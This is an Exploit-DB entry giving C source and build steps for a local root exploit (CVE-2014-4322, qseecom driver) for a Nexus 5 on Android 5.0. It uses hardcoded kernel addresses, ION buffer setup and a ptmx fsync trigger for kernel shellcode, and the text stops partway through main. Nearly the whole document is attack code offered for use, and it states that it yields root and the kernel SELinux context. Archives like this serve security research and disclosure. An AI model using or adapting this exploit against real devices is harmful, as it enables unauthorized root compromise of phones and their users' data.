Exploit-DB #35711
Description: Nexus 5 Android 5.0 - Local Privilege Escalation
Type: local
Platform: android
Date: 2015-01-06
Author: retme

Exploit:
/*
 *              CVE-2014-4322 exploit  for Nexus Android 5.0
 *
 *              author:  retme   retme7@gmail.com
 *              website: retme.net
 *
 *				 The exploit must be excuted as system privilege and specific  SELinux  context.
 *				 If exploit successed,you will gain root privilege and "kernel" SELinux  context
 *
 *              bug info:
 *              	https://www.codeaurora.org/projects/security-advisories/memory-corruption-qseecom-driver-cve-2014-4322
 *
 *				 how to build:
 *
			 				    create an  Android.mk as follow:

									include $(CLEAR_VARS)
									include $(CLEAR_VARS)
									LOCAL_SRC_FILES:= ./msm.c \
																				 ./shellcode.S

									LOCAL_MODULE:= exploit
									#LOCAL_C_INCLUDES += $(common_includes)
									LOCAL_CPPFLAGS += -DDEBUG
									LOCAL_CFLAGS += -DDEBUG
									LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog

									include $(BUILD_EXECUTABLE)
									include $(BUILD_EXECUTABLE)

								create Application.mk as follow:

									APP_ABI := armeabi
									APP_PLATFORM := android-8
									APP_PIE:= true

								use  ndk-build to build the project

				usage:

							 run  exploit as  system privilege,with SELinux context  such as "keystore","vold","drmserver","mediaserver","surfaceflinger"
 *
 *							 If exploit successed,you will gain root privilege and "kernel" SELinux  context
 *
 *
 *                                           */
//=========================================msm.c=============================================
#include <string.h>
#include <jni.h>
#include <android/log.h>
#include <pthread.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <asm/ptrace.h>
#include <asm/user.h>
#include <asm/ptrace.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <dlfcn.h>
#include <dirent.h>
#include <unistd.h>
#include <linux/elf.h>
#include <linux/reboot.h>
#include <errno.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <linux/ptrace.h>
#include <linux/prctl.h>
#include <sys/system_properties.h>
#include <errno.h>
#include <termios.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <errno.h>
#include <linux/ion.h>

#include "../kernel.h"
#include "qseecom.h"

//4.4.2   CFW(for debug)
//#define PTMX_FOPS 0xc1334e00
//fnPrintk printk = 0xc0a0113c;

//Nexus Android 5.0  OFW
#define PTMX_DEVICE "/dev/ptmx"
#define PTMX_FOPS 0xc1236cd8
fnPrintk printk = 0xc0a21e78;

int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux);

int  kmemcmp(char *a1, char *a2, int len)
{
  int v3; // r3@2
  int v4; // r4@3
  int v5; // r5@3
  int result; // r0@4

  if ( len )
  {
    v3 = 0;
    while ( 1 )
    {
      v4 = a1[v3];
      v5 = a2[v3];
      if ( v4 != v5 )
        break;
      if ( a1[v3] )
      {
        ++v3;
        if ( len != v3 )
          continue;
      }
      goto LABEL_7;
    }
    result = v4 - v5;
  }
  else
  {
LABEL_7:
    result = 0;
  }
  return result;
}

int g_pid = 0;
int g_tgid = 0;



int open_ion(){
	int fd = open("/dev/ion",O_RDONLY);
    if (fd<0){
    	perror("open");
    }
    printf("ion fd  %d\n",fd);
    return fd;
}


// http://lwn.net/Articles/480055/

/*
 * struct ion_allocation_data {
	size_t len;
	size_t align;
	unsigned int heap_mask;
	unsigned int flags;
	struct ion_handle *handle;
};
 *
 *
 * */
#define ION_FLAG_SECURE (1<<31)

int alloc_ion_memory(int client_fd,int size,struct ion_handle** pphandle){
	int ret = -1;

	struct ion_allocation_data data;

// ION_FLAG_CACHED
	data.len = size;
	data.align = size;
	data.flags = ION_HEAP_TYPE_CARVEOUT ;
	//data.heap_mask = ION_HEAP_TYPE_CARVEOUT;
	//data.handle = handle;

	ret = ioctl(client_fd, ION_IOC_ALLOC, &data);
	if (ret<0){
		perror("ION_IOC_ALLOC");
	}
	*pphandle = data.handle;
	return ret;

}
/*
    struct ion_fd_data {
        struct ion_handle *handle;
        int fd;
   }
   */
int share_ion_memory(int client_fd,struct ion_handle* handle){
	struct ion_fd_data data;
	data.handle = handle;
	data.fd = -1;

	int ret = ioctl(client_fd, ION_IOC_SHARE, &data);


	return data.fd;

}




int obtain_dma_buf_fd(int size){
		int fd_device = open_ion();
		int dmf_fd = -1;

		struct ion_handle* handle;
		int ret = alloc_ion_memory(fd_device,size,&handle);
		if (ret<0){
			perror("alloc_ion_memory");
		}

		dmf_fd = share_ion_memory(fd_device,handle);

		if (dmf_fd<0){
			perror("share_ion_memory");
		}
		return dmf_fd;
}


void* fd_to_mmap(int fd,int size){


    void* seg_addr = mmap(0,
    					size	,
    					PROT_READ | PROT_WRITE,
    					MAP_SHARED,
                          fd,
                          0);

    if(seg_addr == MAP_FAILED){
    	perror("fd_to_map");
    }

	return seg_addr;
}



//c0a0113c T printk
void sayhello(){
	fnPrintk printk = 0xc0a0113c;
	printk("hell0 shellocde");
	return;
}

void shell_code2();

static int
run_obtain_root_privilege()
{
  int fd;
  int ret;

  fd = open(PTMX_DEVICE, O_WRONLY);
  if(fd<=0){perror("ptmx");return -1;}
  ret = fsync(fd);
  close(fd);

  return ret;
}


int main(int argc, char *argv[]){

        printf("mypid %d\n",getpid());
        int ret  = -1;

                        int  fd = open("/dev/qseecom", 0);
                        if (fd<0){
                        	perror("open");
                        	exit(-1);
                        }

                        void* abuseBuff = malloc(400);
                        me